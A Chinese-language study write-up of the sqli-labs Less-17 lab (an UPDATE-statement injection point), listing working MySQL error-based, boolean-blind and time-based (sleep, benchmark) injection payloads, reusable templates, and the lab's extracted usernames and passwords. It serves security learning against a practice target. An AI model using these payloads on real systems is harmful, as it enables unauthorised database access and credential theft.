Sqli-labs 复习 Less17 报错-布尔-延时盲注 - POST

之前学习了一遍 sqli-labs，这是巩固复习一遍，代码全部手敲，加深印象

Sqli-labs 博客目录

更新语句盲注

updata 语句讲解

1. 例句

   例句：修改 users 表中名为 inputuser 的数据

   UPDATE users SET password = inputpass WHERE username = inputuser;

2. 在命令行执行

   获取数据库名

   UPDATE users SET password = ‘admin’ WHERE password = (select 1 from (select count(*),(concat("_{",database(),"}",floor(rand()*2)))name from information_schema.tables group by name)b);

   获取表名

   UPDATE users SET password = ‘admin’ WHERE password = (select 1 from (select count(*),(concat("~",(select table_name from information_schema.tables where table_schema=database() limit 0,1),"~",floor(rand()*2)))name from information_schema.tables group by name)b);

   获取列名

   UPDATE users SET password = ‘admin’ WHERE password = (select 1 from (select count(*),(concat("~",(select column_name from information_schema.columns where table_name=‘users’ limit 0,1),"~",floor(rand()*2)))name from information_schema.tables group by name)b) ;

   获取数据

   UPDATE users SET password = ‘admin’ WHERE password = (select 1 from (select count(*),(concat("~",(select username from users limit 0,1),"~",floor(rand()*2)))name from information_schema.tables group by name)b);

盲注手法

报错型盲注

函数讲解

	rand()  产生一个不固定的0~1的随机数列，加了参数之后会变成固定的伪随机数列
	rand(0),rand(1)，当使用一个整数参数时，rand使用该参数作为种子生成一个固定的伪随机数列
	floor  向下取整 floor(2.5) == 2
	count()统计元组的个数
	concat() 字符串连接 concat('~~','aaa','bbb',) =>'aaa~~bbb' 
	concat_ws() 字符串连接 concat_ws('~~','aaa','bbb',) =>'aaa~~bbb'   
	extractvalue(最长32位)	MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数，分别是 ExtractValue()和 UpdateXML()
	updateXml(最长32位)
	name_const(): mysql存储过程中的本地变量会被一个内部函数 name_const 转化,似乎是专门为存储过程设计的,没有提到有其它特别之处. 	

方法示例

1. 布尔型盲注手法，按位爆破

   1. left()
   2. ascii()、substr()
   3. regexp
   4. ord()、mid()

   ?id=1’and left((select database() limit 0,1),1)=‘s’#

2. 利用 floor(rand(x)*2) 的执行bug进行报错注入

   ?id=1" union select 1,count(*),concat((你希望的查询语句),floor(rand(0)*2))a from information_schema.columns group by a#

   ?id=1" and (select 1 from(select count(*),concat((你希望的查询语句),floor(rand(0)*2))x from information_schema.tables group by x)a)#

3. 利用 extractvalue() 函数报错注入(有长度限制,最长32位,mysql 5.0不可用，mysql 5.6可用)

   ?id=1" and extractvalue(1,concat(0x7e,(你希望的查询语句)))#

   ?id=1" and extractvalue(1,concat(0x7e,((select * from(select concat((你希望的查询语句))x from information_schema.tables group by x)a))))#

   ?id=1" and extractvalue(1,concat(0x7e,(database())))#

   ?id=1" and extractvalue(1,concat(0x7e,((select * from(select concat((select username from security.users limit 0,1))x from information_schema.tables group by x)a))))#

4. 利用 updatexml() 函数报错注入(有长度限制,最长32位)

   ?id=1" and updatexml(1,concat(0x7e,(你希望的查询语句),0x7e),1)#

5. 利用 name_const 数据的重复性(低版本可用，mysql 5.0可用，mysql 5.6不可用 )

   ?id=1" union select 1,2,3 from (select name_const((你希望的查询语句),1),name_const((你希望的查询语句),1))x #

   ?id=1" and exists(select * from (select * from(select name_const((你希望的查询语句),0))a join(select name_const((你希望的查询语句),0))b)c)#

6. 利用 double 数值类型超出范围进行报错注入

   ?id=1" union select (exp(~(select * from(select user())a))),2,3#

   未测试成功

7. 利用 bigint 溢出进行报错注入(这些溢出错误会导致MySQL版本5.5.5及以上)

   基于 bigint 溢出错误的SQL注入( https://www.cnblogs.com/lcamry/articles/5509112.html)

   未测试成功

   ?id=1" union select (!(select * from (select user())x) - ~0),2,3#

   下面为句式：

   !(select*from(select user())x)-~0

   (select(!x-~0)from(select(select user())x)a)

   (select!x-~0.from(select(select user())x)a)

   select ~0+!(select*from(select user())x)

8. 一个句式组合:

   (select * from(select concat((你希望的查询语句))x from information_schema.tables group by x)a)

   遇到无法使用 select * from * 查询的时候，可以使用这个万能句式，代替下面的“你希望的查询语句”

    ?id=1" and (select 1 from(select count(*),concat((你希望的查询语句),floor(rand(0)*2))x from information_schema.tables group by x)a)#
    
    ?id=1" and extractvalue(1,concat(0x7e,(你希望的查询语句)))#
    
    ?id=1" and updatexml(1,concat(0x7e,(你希望的查询语句),0x7e),1)#
    
    ?id=1" and exists(select * from (select * from(select name_const((你希望的查询语句),0))a join(select name_const((你希望的查询语句),0))b)c)#
    		
    ?id=1" union select 1,2,3 from (select name_const((你希望的查询语句),1),name_const((你希望的查询语句),1))x #
    
    ?id=1" union select (exp(~(select * from(select user())a))),2,3#
    
    and so on...
   

布尔型盲注

1. 四种方法讲解：

   1. left()
   2. ascii()、substr()
   3. regexp
   4. ord()、mid()

2. 其中：

   1. left(string,2)=‘sa’: string 的前两位等于sa
   2. ascii(substr(string,2,1))=102: string的第二位开始的后一位的ascii码为 102
   3. table_name regexp ‘^us[a-z]’：table_name 是以 us 为开头的
   4. ord(mid(string,2,1))=68: stringd的第二位开始的后一位的十六进制为 68

3. 示例

   1. left()

      admin’ and left((要注入的语句),1)=‘xxx’#

      admin’and left((select database() limit 0,1),1)=‘s’#

   2. ascii(substr())=xxx //二进制

      admin’ and ascii(substr((要注入的语句),0,1))=102#

      admin’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101#

   3. xxxx regexp ‘^us[a-z]’

      admin’ and ((要注入的语句) regexp ‘^se’ limit 0,1)#

      admin’ and (select database() regexp ‘^se’ limit 0,1)#

   4. ord(mid())=xxx // 十六进制

      admin’ and ord(mid((select username from security.users limit 0,1),1,1))=68#

      admin’ and ord(mid((select password from security.users limit 0,1),1,1))=68#

      ifnull(expr1,expr2)，含义是：如果第一个参数不为空，则返回第一个参数，否则返回第二个参数。 cast(字段名 as 转换的类型 )

      admin’ and ord(mid((select ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68#

      admin’ and ord(mid((select ifnull(cast(password as char),0x20)from security.users order by id limit 0,1),1,1))=68#

延时型盲注

1. 利用 sleep() 函数进行注入

   ?id=1’ and if(ascii(substr(database(),1,1))=115,sleep(5),1)#

   ?id=1’ union select (if(substring(database(),1,1)=char(115),sleep(5),1)),2,3#

   ?id=1’ and if(ascii(substr((要执行的语句),1,1))=115,sleep(5),1)#

   ?id=1’ union select (if(substring((要执行的语句),1,1)=char(115),sleep(5),1)),2,3#

   当错误的时候会有5 秒的时间延时。

2. 利用 benchmark()进行延时注入

   ?id=1’ and (select 1 from (select concat((ascii(substr((要执行的语句),1,1))=115),benchmark(50000000,encode(‘msg’,‘key’)))x from information_schema.tables group by x)a)#

   ?id=1’ and if(ascii(substr((要执行的语句),1,1))=115,benchmark(50000000,encode(‘msg’,‘key’)),1)#

   ?id=1’ union select (if(substring((要执行的语句),1,1)=char(115),benchmark(50000000,encode(‘msg’,‘key’)),1)),2,3#

   ?id=1’ and (select 1 from (select concat((ascii(substr((database()),1,1))=115),benchmark(50000000,encode(‘msg’,‘key’)))x from information_schema.tables group by x)a)#

   ?id=1’ and (select 1 from (select concat((select username from security.users limit 0,1),benchmark(50000000,encode(‘msg’,‘key’)))x from information_schema.tables group by x)a)#

   ?id=1’ and if(ascii(substr(benchmark(50000000,encode(‘msg’,‘key’)),1,1))=115,sleep(5),1)#

   ?id=1’ union select (if(substring((select database() limit 0,1),1,1)=char(115),benchmark(50000000,encode(‘msg’,‘key’)),1)),2,3#

   当结果正确的时候，运行encode(‘msg’,‘key’)操作50000000 次，会占用一段时间。

   benchmark()函数，可以测试某些特定操作的执行速度。该函数只是简单地返回服务器执行表达式的时间，而不会涉及分析和优化的开销。

   MySQL 字符串截取函数：left(), right(), substring(), substring_index(), mid(), substr()。其中 mid(), substr() 等价于 substring() 函数

   encode() 对字符进行加密运算 mysql加密解密方式用法 encode()、decode()

Less-17 报错型更新语句盲注-单引号

1. 测试

   在 username 中输入 admin
   在 password 中输入 1’ or 1=1#

   发现是在 password 存在注入点，源代码中是使用的 update 语句，各种盲注手法都是可可以用的

   由于在前面的章节都写了很多的注入过程和脚本，这里就不写脚本了，查看文章开头的目录可以找到其他的博客

   测试中 updata 语句中不可以使用 select * from * 查询

2. 猜数据库

   1’ and extractvalue(1,concat(0x7e,(database())))#

   1’ and if(ascii(substr((select database() limit 0,1),2,1))=115,benchmark(50000000,encode(‘msg’,‘key’)),1)#

   以上是报错型盲注，结果为 security

3. 猜表名

   1’ and ascii(substr((要注入的语句),0,1))=xxx#

   1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101#

   1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),2,1))=109#

   1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),3,1))=97#

   1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 1,1),1,1))=114#

   1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 1,1),2,1))=101#

   1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 1,1),2,1))=102#

   以上是布尔型盲注，ascii(substr())=xxx

   结果为 emails referers uagents users

4. 猜列名

   1’ and ((要注入的语句) regexp ‘^se’ limit 0,1)#

   1’ and (select database() regexp ‘^se’ limit 0,1)#

   1’ and (select 1 from information_schema.columns where table_name=‘users’ and column_name regexp ‘^u’ limit 0,1)#

   1’ and (select 1 from information_schema.columns where table_name=‘users’ and column_name regexp ‘^us’ limit 0,1)#

   1’ and (select 1 from information_schema.columns where table_name=‘users’ and column_name regexp ‘^use’ limit 0,1)#

   1’ and (select 1 from information_schema.columns where table_name=‘users’ and column_name regexp ‘^username’ limit 0,1)#

   以上是布尔型盲注，database() regexp ‘^se’ limit 0,1

   结果为 id last password username

5. 猜数据

   1’ and (select 1 from (select concat((ascii(substr((select username from security.users limit 0,1),1,1))=117),benchmark(50000000,encode(‘msg’,‘key’)))x from information_schema.tables group by x)a)#

   以上是延时型盲注 benchmark(50000000,encode(‘msg’,‘key’))

   1’ and (select 1 from (select count(*),concat((select username from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

   以上是报错型盲注 floor(rand(0)*2)

   1’ and exists(select * from (select * from(select name_const((select group_concat(username) from security.users),0))a join(select name_const((select group_concat(username) from security.users),0))b)c)#

   以上是报错型盲注 select * from (select * from (name_const()a join name_const()b)c)

   结果是：

    username: Dumb  Angelina    Dummy   secure  stupid  superman    batman  admin   admin   admin   
    password: Dumb  Ikillyo     pssword crappy  stupidity   genious moble   admin   admin   admin